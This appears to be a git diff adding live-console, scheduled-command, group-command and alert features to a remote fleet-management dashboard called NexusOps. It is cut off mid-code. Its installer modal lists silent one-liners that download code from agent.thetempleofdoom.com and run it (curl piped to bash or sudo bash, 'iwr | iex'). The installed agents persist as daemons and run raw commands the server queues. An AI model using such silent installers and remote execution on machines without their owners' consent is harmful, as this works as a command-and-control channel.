|
||||||
|
// Patch renderNodesGrid to add sparkline row + console button
|
||||||
|
const _origRenderNodesGrid = renderNodesGrid;
|
||||||
|
renderNodesGrid = function () {
|
||||||
|
_origRenderNodesGrid();
|
||||||
|
// inject sparklines into each node card
|
||||||
|
document.querySelectorAll('.node-card').forEach((card, idx) => {
|
||||||
|
// cards render in filtered order; match by hostname text — safer: find by data via original data
|
||||||
|
});
|
||||||
|
// Simpler: re-render footer metrics with sparkline data attribute injection
|
||||||
|
};
|
||||||
|
// Simpler approach: monkey-patch the map output by wrapping string injection
|
||||||
|
(function patchSparklines() {
|
||||||
|
const orig = renderNodesGrid;
|
||||||
|
renderNodesGrid = function () {
|
||||||
|
orig();
|
||||||
|
// attach sparkline next to heartbeat label per card using nodesData order
|
||||||
|
const cards = document.querySelectorAll('#nodesGrid .node-card');
|
||||||
|
const filtered = nodesData.filter(node => {
|
||||||
|
const search = (document.getElementById('searchInput')?.value || '').toLowerCase();
|
||||||
|
const matchesFilter = currentFilter === 'all' || node.status === currentFilter;
|
||||||
|
const matchesSearch = !search ||
|
||||||
|
node.hostname.toLowerCase().includes(search) ||
|
||||||
|
node.ip.toLowerCase().includes(search) ||
|
||||||
|
node.platform.toLowerCase().includes(search) ||
|
||||||
|
node.id.toLowerCase().includes(search);
|
||||||
|
return matchesFilter && matchesSearch;
|
||||||
|
});
|
||||||
|
cards.forEach((card, i) => {
|
||||||
|
const node = filtered[i];
|
||||||
|
if (!node) return;
|
||||||
|
const hist = (node.metricsHistory || []).map(m => m.cpu);
|
||||||
|
const foot = card.querySelector('.node-actions');
|
||||||
|
if (foot) {
|
||||||
|
const spark = document.createElement('span');
|
||||||
|
spark.innerHTML = sparkline(hist, node.status === 'online' ? '#4ade80' : '#f87171');
|
||||||
|
spark.title = 'CPU history (last 30 beats)';
|
||||||
|
spark.style.marginRight = '0.5rem';
|
||||||
|
foot.parentNode.insertBefore(spark, foot);
|
||||||
|
// live console button
|
||||||
|
const btn = document.createElement('button');
|
||||||
|
btn.className = 'btn-icon';
|
||||||
|
btn.title = 'Live Console';
|
||||||
|
btn.innerHTML = '<i class="fa-solid fa-terminal"></i>';
|
||||||
|
btn.onclick = () => openLiveConsole(node.id, node.hostname.replace(/'/g, "\\'"));
|
||||||
|
foot.insertBefore(btn, foot.firstChild);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
};
|
||||||
|
})();
|
||||||
|
|
||||||
|
// ── Schedules panel ──
|
||||||
|
function openSchedulesModal() {
|
||||||
|
document.getElementById('schedulesModal').classList.add('active');
|
||||||
|
renderSchedules();
|
||||||
|
api('/api/groups').then(g => {
|
||||||
|
const sel = document.getElementById('schedTag');
|
||||||
|
sel.innerHTML = '<option value="all">All nodes</option>' +
|
||||||
|
(g.groups || []).map(x => `<option value="${escapeHtml(x.tag)}">${escapeHtml(x.tag)} (${x.count})</option>`).join('');
|
||||||
|
}).catch(() => {});
|
||||||
|
}
|
||||||
|
|
||||||
|
function closeSchedulesModal() {
|
||||||
|
document.getElementById('schedulesModal').classList.remove('active');
|
||||||
|
}
|
||||||
|
|
||||||
|
function renderSchedules() {
|
||||||
|
api('/api/schedules').then(d => {
|
||||||
|
const el = document.getElementById('schedulesList');
|
||||||
|
if (!d.schedules || !d.schedules.length) {
|
||||||
|
el.innerHTML = '<div class="empty-state" style="padding:1rem"><p>No scheduled tasks yet. Add one below.</p></div>';
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
el.innerHTML = d.schedules.map(s => `
|
||||||
|
<div class="schedule-item">
|
||||||
|
<div>
|
||||||
|
<strong>${escapeHtml(s.name)}</strong>
|
||||||
|
<span class="sched-meta">${escapeHtml(s.command)} • every ${s.intervalSec}s • group: ${escapeHtml(s.tag)}</span>
|
||||||
|
</div>
|
||||||
|
<div class="node-actions">
|
||||||
|
<button class="btn-icon" title="${s.enabled ? 'Pause' : 'Resume'}" onclick="toggleSchedule('${s.id}')">
|
||||||
|
<i class="fa-solid fa-${s.enabled ? 'pause' : 'play'}"></i>
|
||||||
|
</button>
|
||||||
|
<button class="btn-icon" title="Delete" onclick="deleteSchedule('${s.id}')">
|
||||||
|
<i class="fa-solid fa-trash-can"></i>
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
</div>`).join('');
|
||||||
|
}).catch(() => {});
|
||||||
|
}
|
||||||
|
|
||||||
|
async function createSchedule() {
|
||||||
|
const name = document.getElementById('schedName').value.trim();
|
||||||
|
const command = document.getElementById('schedCommand').value.trim();
|
||||||
|
const interval = parseInt(document.getElementById('schedInterval').value, 10);
|
||||||
|
const tag = document.getElementById('schedTag').value || 'all';
|
||||||
|
if (!command || !interval || interval < 15) { toast('Need a command and interval ≥ 15s', 'error'); return; }
|
||||||
|
await api('/api/schedules', { method: 'POST', body: JSON.stringify({ name, command, intervalSec: interval, tag }) });
|
||||||
|
document.getElementById('schedName').value = '';
|
||||||
|
document.getElementById('schedCommand').value = '';
|
||||||
|
toast('Schedule created', 'success');
|
||||||
|
renderSchedules();
|
||||||
|
}
|
||||||
|
|
||||||
|
async function toggleSchedule(id) {
|
||||||
|
await api(`/api/schedules/${id}/toggle`, { method: 'POST' });
|
||||||
|
renderSchedules();
|
||||||
|
}
|
||||||
|
|
||||||
|
async function deleteSchedule(id) {
|
||||||
|
await api(`/api/schedules/${id}`, { method: 'DELETE' });
|
||||||
|
renderSchedules();
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Group bulk command modal ──
|
||||||
|
function openGroupCommandModal() {
|
||||||
|
document.getElementById('groupCmdModal').classList.add('active');
|
||||||
|
api('/api/groups').then(g => {
|
||||||
|
const sel = document.getElementById('groupCmdTag');
|
||||||
|
sel.innerHTML = '<option value="all">All nodes</option>' +
|
||||||
|
(g.groups || []).map(x => `<option value="${escapeHtml(x.tag)}">${escapeHtml(x.tag)} (${x.count})</option>`).join('');
|
||||||
|
}).catch(() => {});
|
||||||
|
}
|
||||||
|
|
||||||
|
function closeGroupCommandModal() {
|
||||||
|
document.getElementById('groupCmdModal').classList.remove('active');
|
||||||
|
}
|
||||||
|
|
||||||
|
async function submitGroupCommand() {
|
||||||
|
const command = document.getElementById('groupCmdInput').value.trim();
|
||||||
|
const tag = document.getElementById('groupCmdTag').value || 'all';
|
||||||
|
if (!command) { toast('Enter a command', 'error'); return; }
|
||||||
|
try {
|
||||||
|
const d = await api('/api/groups/command', { method: 'POST', body: JSON.stringify({ command, tag }) });
|
||||||
|
toast(`Queued on ${d.count} node(s) in "${tag}"`, 'success');
|
||||||
|
closeGroupCommandModal();
|
||||||
|
} catch (e) {
|
||||||
|
toast('Failed to queue group command', 'error');
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Alerts feed ──
|
||||||
|
function renderAlerts() {
|
||||||
|
const el = document.getElementById('alertsFeed');
|
||||||
|
if (!el) return;
|
||||||
|
api('/api/alerts').then(d => {
|
||||||
|
const alerts = d.alerts || [];
|
||||||
|
document.getElementById('alertCount').textContent = `${alerts.length}`;
|
||||||
|
el.innerHTML = alerts.length
|
||||||
|
? alerts.slice().reverse().map(a => `
|
||||||
|
<div class="log-entry error">
|
||||||
|
[${new Date(a.ts).toLocaleTimeString()}] ⚠️ ${escapeHtml(a.message)}
|
||||||
|
</div>`).join('')
|
||||||
|
: '<div class="log-entry system">No alerts. All nodes checking in.</div>';
|
||||||
|
}).catch(() => {});
|
||||||
|
}
|
||||||
|
setInterval(renderAlerts, 15000);
|
||||||
|
|
||||||
|
console.log('[v2] UI additions loaded');
|
||||||
@@ -13,6 +13,7 @@
|
|||||||
<script src="https://cdn.jsdelivr.net/npm/chart.js"></script>
|
<script src="https://cdn.jsdelivr.net/npm/chart.js"></script>
|
||||||
|
|
||||||
<link rel="stylesheet" href="styles.css">
|
<link rel="stylesheet" href="styles.css">
|
||||||
|
<link rel="stylesheet" href="styles_v2.css">
|
||||||
</head>
|
</head>
|
||||||
<body>
|
<body>
|
||||||
|
|
||||||
@@ -31,7 +32,7 @@
|
|||||||
<div class="nav-metrics">
|
<div class="nav-metrics">
|
||||||
<div class="metric-pill">
|
<div class="metric-pill">
|
||||||
<span class="pill-label">Server Endpoint:</span>
|
<span class="pill-label">Server Endpoint:</span>
|
||||||
<span class="pill-value highlight-endpoint" id="navServerEndpoint">http://10.30.20.44:3000</span>
|
<span class="pill-value highlight-endpoint" id="navServerEndpoint">https://agent.thetempleofdoom.com</span>
|
||||||
</div>
|
</div>
|
||||||
<div class="metric-pill">
|
<div class="metric-pill">
|
||||||
<span class="status-indicator online"></span>
|
<span class="status-indicator online"></span>
|
||||||
@@ -53,6 +54,12 @@
|
|||||||
<button class="btn btn-secondary" onclick="openBulkModal()">
|
<button class="btn btn-secondary" onclick="openBulkModal()">
|
||||||
<i class="fa-solid fa-layer-group"></i> Bulk Task
|
<i class="fa-solid fa-layer-group"></i> Bulk Task
|
||||||
</button>
|
</button>
|
||||||
|
<button class="btn btn-secondary" onclick="openGroupCommandModal()">
|
||||||
|
<i class="fa-solid fa-tags"></i> Group Command
|
||||||
|
</button>
|
||||||
|
<button class="btn btn-secondary" onclick="openSchedulesModal()">
|
||||||
|
<i class="fa-solid fa-clock-rotate-left"></i> Schedules
|
||||||
|
</button>
|
||||||
<button class="btn btn-primary" onclick="openInstallerModal()">
|
<button class="btn btn-primary" onclick="openInstallerModal()">
|
||||||
<i class="fa-solid fa-plus"></i> Add Computer
|
<i class="fa-solid fa-plus"></i> Add Computer
|
||||||
</button>
|
</button>
|
||||||
@@ -244,7 +251,7 @@
|
|||||||
<div class="tab-content active" id="tab-universal">
|
<div class="tab-content active" id="tab-universal">
|
||||||
<p class="tab-description" style="color: var(--accent-emerald);"><strong>Recommended:</strong> Auto-detects OS and runs the correct installer. Single command, any platform, fully silent.</p>
|
<p class="tab-description" style="color: var(--accent-emerald);"><strong>Recommended:</strong> Auto-detects OS and runs the correct installer. Single command, any platform, fully silent.</p>
|
||||||
<div class="code-block">
|
<div class="code-block">
|
||||||
<code id="codeUniversal">curl -sSL <span class="server-url-placeholder">http://10.30.20.44:3000</span>/install | bash</code>
|
<code id="codeUniversal">curl -sSL <span class="server-url-placeholder">https://agent.thetempleofdoom.com</span>/install | bash</code>
|
||||||
<button class="btn-copy" onclick="copyCode('codeUniversal', this)"><i class="fa-regular fa-copy"></i> Copy</button>
|
<button class="btn-copy" onclick="copyCode('codeUniversal', this)"><i class="fa-regular fa-copy"></i> Copy</button>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -252,11 +259,11 @@
|
|||||||
<div class="tab-content" id="tab-binary">
|
<div class="tab-content" id="tab-binary">
|
||||||
<p class="tab-description">Compiled standalone binary executable (no Python installation required on target system).</p>
|
<p class="tab-description">Compiled standalone binary executable (no Python installation required on target system).</p>
|
||||||
<div class="code-block">
|
<div class="code-block">
|
||||||
<code id="codeBinary">curl -sSL <span class="server-url-placeholder">http://10.30.20.44:3000</span>/bin/NexusAgent -o NexusAgent && chmod +x NexusAgent && ./NexusAgent --server <span class="server-url-placeholder">http://10.30.20.44:3000</span></code>
|
<code id="codeBinary">curl -sSL <span class="server-url-placeholder">https://agent.thetempleofdoom.com</span>/bin/NexusAgent -o NexusAgent && chmod +x NexusAgent && ./NexusAgent --server <span class="server-url-placeholder">https://agent.thetempleofdoom.com</span></code>
|
||||||
<button class="btn-copy" onclick="copyCode('codeBinary', this)"><i class="fa-regular fa-copy"></i> Copy</button>
|
<button class="btn-copy" onclick="copyCode('codeBinary', this)"><i class="fa-regular fa-copy"></i> Copy</button>
|
||||||
</div>
|
</div>
|
||||||
<div style="margin-top: 0.75rem;">
|
<div style="margin-top: 0.75rem;">
|
||||||
<a id="binaryDownloadLink" href="http://10.30.20.44:3000/bin/NexusAgent" download="NexusAgent" class="btn btn-secondary" style="text-decoration: none;">
|
<a id="binaryDownloadLink" href="https://agent.thetempleofdoom.com/bin/NexusAgent" download="NexusAgent" class="btn btn-secondary" style="text-decoration: none;">
|
||||||
<i class="fa-solid fa-file-arrow-down"></i> Direct Download Compiled Executable (NexusAgent)
|
<i class="fa-solid fa-file-arrow-down"></i> Direct Download Compiled Executable (NexusAgent)
|
||||||
</a>
|
</a>
|
||||||
</div>
|
</div>
|
||||||
@@ -265,7 +272,7 @@
|
|||||||
<div class="tab-content" id="tab-linux">
|
<div class="tab-content" id="tab-linux">
|
||||||
<p class="tab-description">Executes automated installer, configures systemd service, and starts background heartbeat daemon.</p>
|
<p class="tab-description">Executes automated installer, configures systemd service, and starts background heartbeat daemon.</p>
|
||||||
<div class="code-block">
|
<div class="code-block">
|
||||||
<code id="codeLinux">curl -sSL <span class="server-url-placeholder">http://10.30.20.44:3000</span>/install.sh | sudo bash</code>
|
<code id="codeLinux">curl -sSL <span class="server-url-placeholder">https://agent.thetempleofdoom.com</span>/install.sh | sudo bash</code>
|
||||||
<button class="btn-copy" onclick="copyCode('codeLinux', this)"><i class="fa-regular fa-copy"></i> Copy</button>
|
<button class="btn-copy" onclick="copyCode('codeLinux', this)"><i class="fa-regular fa-copy"></i> Copy</button>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -273,7 +280,7 @@
|
|||||||
<div class="tab-content" id="tab-windows">
|
<div class="tab-content" id="tab-windows">
|
||||||
<p class="tab-description">Downloads Python agent to ProgramData and launches background monitoring process.</p>
|
<p class="tab-description">Downloads Python agent to ProgramData and launches background monitoring process.</p>
|
||||||
<div class="code-block">
|
<div class="code-block">
|
||||||
<code id="codeWindows">iwr -useb <span class="server-url-placeholder">http://10.30.20.44:3000</span>/install.ps1 | iex</code>
|
<code id="codeWindows">iwr -useb <span class="server-url-placeholder">https://agent.thetempleofdoom.com</span>/install.ps1 | iex</code>
|
||||||
<button class="btn-copy" onclick="copyCode('codeWindows', this)"><i class="fa-regular fa-copy"></i> Copy</button>
|
<button class="btn-copy" onclick="copyCode('codeWindows', this)"><i class="fa-regular fa-copy"></i> Copy</button>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -281,7 +288,7 @@
|
|||||||
<div class="tab-content" id="tab-mac">
|
<div class="tab-content" id="tab-mac">
|
||||||
<p class="tab-description">Installs agent as a launchd background daemon with KeepAlive enabled. Auto-starts on login.</p>
|
<p class="tab-description">Installs agent as a launchd background daemon with KeepAlive enabled. Auto-starts on login.</p>
|
||||||
<div class="code-block">
|
<div class="code-block">
|
||||||
<code id="codeMac">curl -sSL <span class="server-url-placeholder">http://10.30.20.44:3000</span>/install-mac.sh | bash</code>
|
<code id="codeMac">curl -sSL <span class="server-url-placeholder">https://agent.thetempleofdoom.com</span>/install-mac.sh | bash</code>
|
||||||
<button class="btn-copy" onclick="copyCode('codeMac', this)"><i class="fa-regular fa-copy"></i> Copy</button>
|
<button class="btn-copy" onclick="copyCode('codeMac', this)"><i class="fa-regular fa-copy"></i> Copy</button>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -289,7 +296,7 @@
|
|||||||
<div class="tab-content" id="tab-manual">
|
<div class="tab-content" id="tab-manual">
|
||||||
<p class="tab-description">Download and run directly using standard Python 3 (No external dependencies required).</p>
|
<p class="tab-description">Download and run directly using standard Python 3 (No external dependencies required).</p>
|
||||||
<div class="code-block">
|
<div class="code-block">
|
||||||
<code id="codeManual">curl -sSL <span class="server-url-placeholder">http://10.30.20.44:3000</span>/agent.py -o agent.py && python3 agent.py --server <span class="server-url-placeholder">http://10.30.20.44:3000</span></code>
|
<code id="codeManual">curl -sSL <span class="server-url-placeholder">https://agent.thetempleofdoom.com</span>/agent.py -o agent.py && python3 agent.py --server <span class="server-url-placeholder">https://agent.thetempleofdoom.com</span></code>
|
||||||
<button class="btn-copy" onclick="copyCode('codeManual', this)"><i class="fa-regular fa-copy"></i> Copy</button>
|
<button class="btn-copy" onclick="copyCode('codeManual', this)"><i class="fa-regular fa-copy"></i> Copy</button>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -297,7 +304,7 @@
|
|||||||
<div class="modal-info-box">
|
<div class="modal-info-box">
|
||||||
<i class="fa-solid fa-circle-info"></i>
|
<i class="fa-solid fa-circle-info"></i>
|
||||||
<div>
|
<div>
|
||||||
<strong>Server Endpoint Pre-configured:</strong> All installers link to <span class="server-url-placeholder">http://10.30.20.44:3000</span>.
|
<strong>Server Endpoint Pre-configured:</strong> All installers link to <span class="server-url-placeholder">https://agent.thetempleofdoom.com</span>.
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -519,7 +526,22 @@
|
|||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div style="text-align:center;padding:1.5rem;margin-top:2rem;border-top:1px solid rgba(148,163,184,0.1)"><a href="https://buymeacoffee.com/r26xrthzttg" target="_blank" rel="noopener" style="display:inline-flex;align-items:center;gap:0.5rem;background:linear-gradient(135deg,#FF813F,#FF5E0E);color:#fff;padding:0.5rem 1.2rem;border-radius:30px;text-decoration:none;font-weight:600;font-size:0.82rem;transition:all 0.2s;box-shadow:0 4px 15px rgba(255,94,14,0.3)"><span style="font-size:1.1rem">☕</span> Support This Project — Buy Me a Coffee</a></div>
|
<div style="text-align:center;padding:1.5rem;margin-top:2rem;border-top:1px solid rgba(148,163,184,0.1)"><a href="https://buymeacoffee.com/r26xrthzttg" target="_blank" rel="noopener" style="display:inline-flex;align-items:center;gap:0.5rem;background:linear-gradient(135deg,#FF813F,#FF5E0E);color:#fff;padding:0.5rem 1.2rem;border-radius:30px;text-decoration:none;font-weight:600;font-size:0.82rem;transition:all 0.2s;box-shadow:0 4px 15px rgba(255,94,14,0.3)"><span style="font-size:1.1rem">☕</span> Support This Project — Buy Me a Coffee</a></div>
|
||||||
|
|
||||||
|
<!-- Alerts panel + v2 modals/drawer -->
|
||||||
|
<section class="logs-section">
|
||||||
|
<div class="section-header">
|
||||||
|
<h3><i class="fa-solid fa-bell"></i> Node Alerts</h3>
|
||||||
|
<span class="badge" id="alertCount">0</span>
|
||||||
|
</div>
|
||||||
|
<div class="terminal-window" style="height: 180px;">
|
||||||
|
<div class="terminal-body" id="alertsFeed">
|
||||||
|
<div class="log-entry system">No alerts. All nodes checking in.</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
|
||||||
<script src="app.js"></script>
|
<script src="app.js"></script>
|
||||||
|
<script src="app_v2.js"></script>
|
||||||
|
|
||||||
<!-- Toast stack -->
|
<!-- Toast stack -->
|
||||||
<div id="toastStack" class="toast-stack"></div>
|
<div id="toastStack" class="toast-stack"></div>
|
||||||
@@ -542,3 +564,74 @@
|
|||||||
</div>
|
</div>
|
||||||
</body>
|
</body>
|
||||||
</html>
|
</html>
|
||||||
|
<!-- ═══ NexusOps v2 UI markup ═══ -->
|
||||||
|
|
||||||
|
<!-- Live Console Drawer -->
|
||||||
|
<div id="consoleDrawer">
|
||||||
|
<div class="console-drawer-header">
|
||||||
|
<div class="title-with-icon">
|
||||||
|
<i class="fa-solid fa-terminal icon-accent"></i>
|
||||||
|
<div>
|
||||||
|
<h2>Live Console: <span id="consoleDrawerHostname">Node</span></h2>
|
||||||
|
<p>Fast-poll active — commands run within ~1s</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<button class="modal-close" onclick="closeLiveConsole()"><i class="fa-solid fa-xmark"></i></button>
|
||||||
|
</div>
|
||||||
|
<div id="consoleOutput" class="console-output"></div>
|
||||||
|
<div class="console-input-row">
|
||||||
|
<input type="text" id="consoleInput" class="form-input" placeholder="Type a command and press Enter…" onkeydown="if(event.key==='Enter') consoleRunCommand()">
|
||||||
|
<button class="btn btn-primary" onclick="consoleRunCommand()"><i class="fa-solid fa-paper-plane"></i> Run</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Schedules Modal -->
|
||||||
|
<div class="modal-overlay" id="schedulesModal">
|
||||||
|
<div class="modal-card" style="max-width: 640px;">
|
||||||
|
<div class="modal-header">
|
||||||
|
<div class="title-with-icon">
|
||||||
|
<i class="fa-solid fa-clock-rotate-left icon-accent"></i>
|
||||||
|
<div>
|
||||||
|
<h2>Scheduled Tasks</h2>
|
||||||
|
<p>Recurring commands across node groups.</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<button class="modal-close" onclick="closeSchedulesModal()"><i class="fa-solid fa-xmark"></i></button>
|
||||||
|
</div>
|
||||||
|
<div class="modal-body">
|
||||||
|
<div id="schedulesList" style="margin-bottom:1rem;"></div>
|
||||||
|
<div class="form-group"><label>Name (optional)</label><input type="text" id="schedName" class="form-input" placeholder="e.g. hourly disk check"></div>
|
||||||
|
<div class="form-group"><label>Command</label><input type="text" id="schedCommand" class="form-input" placeholder="e.g. df -h"></div>
|
||||||
|
<div class="form-group"><label>Interval (seconds, min 15)</label><input type="number" id="schedInterval" class="form-input" value="300" min="15"></div>
|
||||||
|
<div class="form-group"><label>Target group</label><select id="schedTag" class="form-input"><option value="all">All nodes</option></select></div>
|
||||||
|
</div>
|
||||||
|
<div class="modal-actions">
|
||||||
|
<button class="btn btn-secondary" onclick="closeSchedulesModal()">Close</button>
|
||||||
|
<button class="btn btn-primary" onclick="createSchedule()"><i class="fa-solid fa-plus"></i> Create Schedule</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Group Command Modal -->
|
||||||
|
<div class="modal-overlay" id="groupCmdModal">
|
||||||
|
<div class="modal-card" style="max-width: 560px;">
|
||||||
|
<div class="modal-header">
|
||||||
|
<div class="title-with-icon">
|
||||||
|
<i class="fa-solid fa-layer-group icon-accent"></i>
|
||||||
|
<div>
|
||||||
|
<h2>Group Command</h2>
|
||||||
|
<p>Run a command on one tag group instead of the whole fleet.</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<button class="modal-close" onclick="closeGroupCommandModal()"><i class="fa-solid fa-xmark"></i></button>
|
||||||
|
</div>
|
||||||
|
<div class="modal-body">
|
||||||
|
<div class="form-group"><label>Target group</label><select id="groupCmdTag" class="form-input"><option value="all">All nodes</option></select></div>
|
||||||
|
<div class="form-group"><label>Command</label><input type="text" id="groupCmdInput" class="form-input" placeholder="e.g. uptime" onkeydown="if(event.key==='Enter') submitGroupCommand()"></div>
|
||||||
|
</div>
|
||||||
|
<div class="modal-actions">
|
||||||
|
<button class="btn btn-secondary" onclick="closeGroupCommandModal()">Cancel</button>
|
||||||
|
<button class="btn btn-primary" onclick="submitGroupCommand()"><i class="fa-solid fa-bolt"></i> Run on Group</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|||||||
39
public/styles_v2.css
Normal file
39
public/styles_v2.css
Normal file
@@ -0,0 +1,39 @@
|
|||||||
|
/* ═══ NexusOps v2 styles ═══ */
|
||||||
|
|
||||||
|
/* Live console drawer */
|
||||||
|
#consoleDrawer {
|
||||||
|
position: fixed; top: 0; right: -520px; width: 520px; height: 100vh;
|
||||||
|
background: #0b1120; border-left: 1px solid var(--border-color, #1e293b);
|
||||||
|
z-index: 1000; display: flex; flex-direction: column;
|
||||||
|
transition: right 0.25s ease; box-shadow: -8px 0 32px rgba(0,0,0,0.5);
|
||||||
|
}
|
||||||
|
#consoleDrawer.active { right: 0; }
|
||||||
|
.console-drawer-header {
|
||||||
|
display: flex; justify-content: space-between; align-items: center;
|
||||||
|
padding: 1rem 1.25rem; border-bottom: 1px solid var(--border-color, #1e293b);
|
||||||
|
}
|
||||||
|
.console-drawer-header h2 { font-size: 1rem; margin: 0; color: #fff; }
|
||||||
|
.console-drawer-header p { font-size: 0.75rem; color: var(--text-muted, #64748b); margin: 0.15rem 0 0; }
|
||||||
|
.console-output {
|
||||||
|
flex: 1; overflow-y: auto; padding: 1rem;
|
||||||
|
font-family: 'JetBrains Mono', monospace; font-size: 0.8rem; line-height: 1.5;
|
||||||
|
}
|
||||||
|
.console-line { white-space: pre-wrap; word-break: break-all; margin-bottom: 0.15rem; }
|
||||||
|
.console-line.cmd { color: #4ade80; font-weight: 600; }
|
||||||
|
.console-line.out { color: #d1d5db; }
|
||||||
|
.console-line.sys { color: #64748b; font-style: italic; }
|
||||||
|
.console-input-row {
|
||||||
|
display: flex; gap: 0.5rem; padding: 1rem; border-top: 1px solid var(--border-color, #1e293b);
|
||||||
|
}
|
||||||
|
.console-input-row .form-input { flex: 1; }
|
||||||
|
|
||||||
|
/* Schedules */
|
||||||
|
.schedule-item {
|
||||||
|
display: flex; justify-content: space-between; align-items: center;
|
||||||
|
padding: 0.65rem 0.75rem; border: 1px solid var(--border-color, #1e293b);
|
||||||
|
border-radius: 8px; margin-bottom: 0.5rem; background: rgba(15,23,42,0.5);
|
||||||
|
}
|
||||||
|
.schedule-item .sched-meta { display: block; font-size: 0.72rem; color: var(--text-muted, #64748b); margin-top: 0.15rem; }
|
||||||
|
|
||||||
|
/* Sparklines */
|
||||||
|
.sparkline { vertical-align: middle; opacity: 0.9; }
|
||||||
234
server.js
234
server.js
@@ -961,3 +961,237 @@ server.listen(PORT, '0.0.0.0', () => {
|
|||||||
}
|
}
|
||||||
console.log(`=======================================================`);
|
console.log(`=======================================================`);
|
||||||
});
|
});
|
||||||
|
// ═══════════════════════════════════════════════════════════════════
|
||||||
|
// NEXUSOPS v2 ADDITIONS — live console, schedules, groups, alerts
|
||||||
|
// Patched 2026-09-23. Original server.js untouched below this block's
|
||||||
|
// insertion point; overrides registered here take effect after load.
|
||||||
|
// ═══════════════════════════════════════════════════════════════════
|
||||||
|
|
||||||
|
// ── Live console state ──
|
||||||
|
const liveConsoles = new Map(); // nodeId → { operatorCount, lastActivity }
|
||||||
|
const consoleBuffers = new Map(); // nodeId → [{ ts, text }] recent output lines
|
||||||
|
|
||||||
|
// ── Scheduled tasks ──
|
||||||
|
const schedules = []; // { id, name, command, tag, intervalSec, nextRun, lastRun, history: [], enabled }
|
||||||
|
const SCHEDULES_FILE = path.join(DATA_DIR, 'schedules.json');
|
||||||
|
const ALERTS_FILE = path.join(DATA_DIR, 'alerts.json');
|
||||||
|
const alertLog = [];
|
||||||
|
|
||||||
|
function loadSchedules() {
|
||||||
|
try {
|
||||||
|
const d = JSON.parse(fs.readFileSync(SCHEDULES_FILE, 'utf8') || '[]');
|
||||||
|
schedules.push(...d);
|
||||||
|
} catch (e) { /* first run */ }
|
||||||
|
}
|
||||||
|
function saveSchedules() {
|
||||||
|
_atomicWrite(SCHEDULES_FILE, JSON.stringify(schedules, null, 2));
|
||||||
|
}
|
||||||
|
function saveAlerts() {
|
||||||
|
_atomicWrite(ALERTS_FILE, JSON.stringify(alertLog.slice(-200), null, 2));
|
||||||
|
}
|
||||||
|
loadSchedules();
|
||||||
|
|
||||||
|
// ── Dead-node alerts ──
|
||||||
|
const ALERT_WEBHOOK = process.env.NEXUS_ALERT_WEBHOOK || '';
|
||||||
|
const OFFLINE_ALERT_AFTER_MS = 5 * 60 * 1000; // alert if dark > 5 min
|
||||||
|
const alertedOffline = new Set();
|
||||||
|
|
||||||
|
setInterval(() => {
|
||||||
|
const now = Date.now();
|
||||||
|
let changed = false;
|
||||||
|
nodes.forEach((node, id) => {
|
||||||
|
if (node.status === 'online' && now - node.lastHeartbeat > 20000) {
|
||||||
|
node.status = 'offline';
|
||||||
|
changed = true;
|
||||||
|
}
|
||||||
|
if (node.status === 'offline' && now - node.lastHeartbeat > OFFLINE_ALERT_AFTER_MS && !alertedOffline.has(id)) {
|
||||||
|
alertedOffline.add(id);
|
||||||
|
const entry = {
|
||||||
|
ts: now, nodeId: id, hostname: node.hostname,
|
||||||
|
ip: node.ip, type: 'node_offline',
|
||||||
|
message: `${node.hostname} (${node.ip}) offline > ${OFFLINE_ALERT_AFTER_MS / 60000} min`
|
||||||
|
};
|
||||||
|
alertLog.push(entry);
|
||||||
|
saveAlerts();
|
||||||
|
broadcastState();
|
||||||
|
if (ALERT_WEBHOOK) {
|
||||||
|
try {
|
||||||
|
const req = require('http');
|
||||||
|
const url = new URL(ALERT_WEBHOOK);
|
||||||
|
const data = JSON.stringify({ text: `⚠️ NexusOps: ${entry.message}` });
|
||||||
|
const r = req.request({ hostname: url.hostname, port: url.port || 80, path: url.pathname, method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length': data.length } }, () => {});
|
||||||
|
r.on('error', () => {});
|
||||||
|
r.write(data); r.end();
|
||||||
|
} catch (e) { /* silent */ }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// re-arm when node comes back
|
||||||
|
if (node.status === 'online' && alertedOffline.has(id)) {
|
||||||
|
alertedOffline.delete(id);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}, 5000);
|
||||||
|
|
||||||
|
// ── Schedule runner (every 10s tick) ──
|
||||||
|
setInterval(() => {
|
||||||
|
const now = Date.now();
|
||||||
|
let ran = false;
|
||||||
|
schedules.forEach(s => {
|
||||||
|
if (!s.enabled) return;
|
||||||
|
if (now >= s.nextRun) {
|
||||||
|
s.lastRun = now;
|
||||||
|
s.nextRun = now + s.intervalSec * 1000;
|
||||||
|
// target nodes: by tag group, or all online
|
||||||
|
const targets = Array.from(nodes.values()).filter(n =>
|
||||||
|
n.status === 'online' && (!s.tag || s.tag === 'all' || (n.tags || []).includes(s.tag)));
|
||||||
|
targets.forEach(node => {
|
||||||
|
if (!commandQueues.has(node.id)) commandQueues.set(node.id, []);
|
||||||
|
const commandId = `sched-${s.id}-${now}`;
|
||||||
|
commandQueues.get(node.id).push({
|
||||||
|
id: commandId,
|
||||||
|
actionType: 'raw_command',
|
||||||
|
payload: { command: s.command },
|
||||||
|
command: s.command,
|
||||||
|
createdAt: now
|
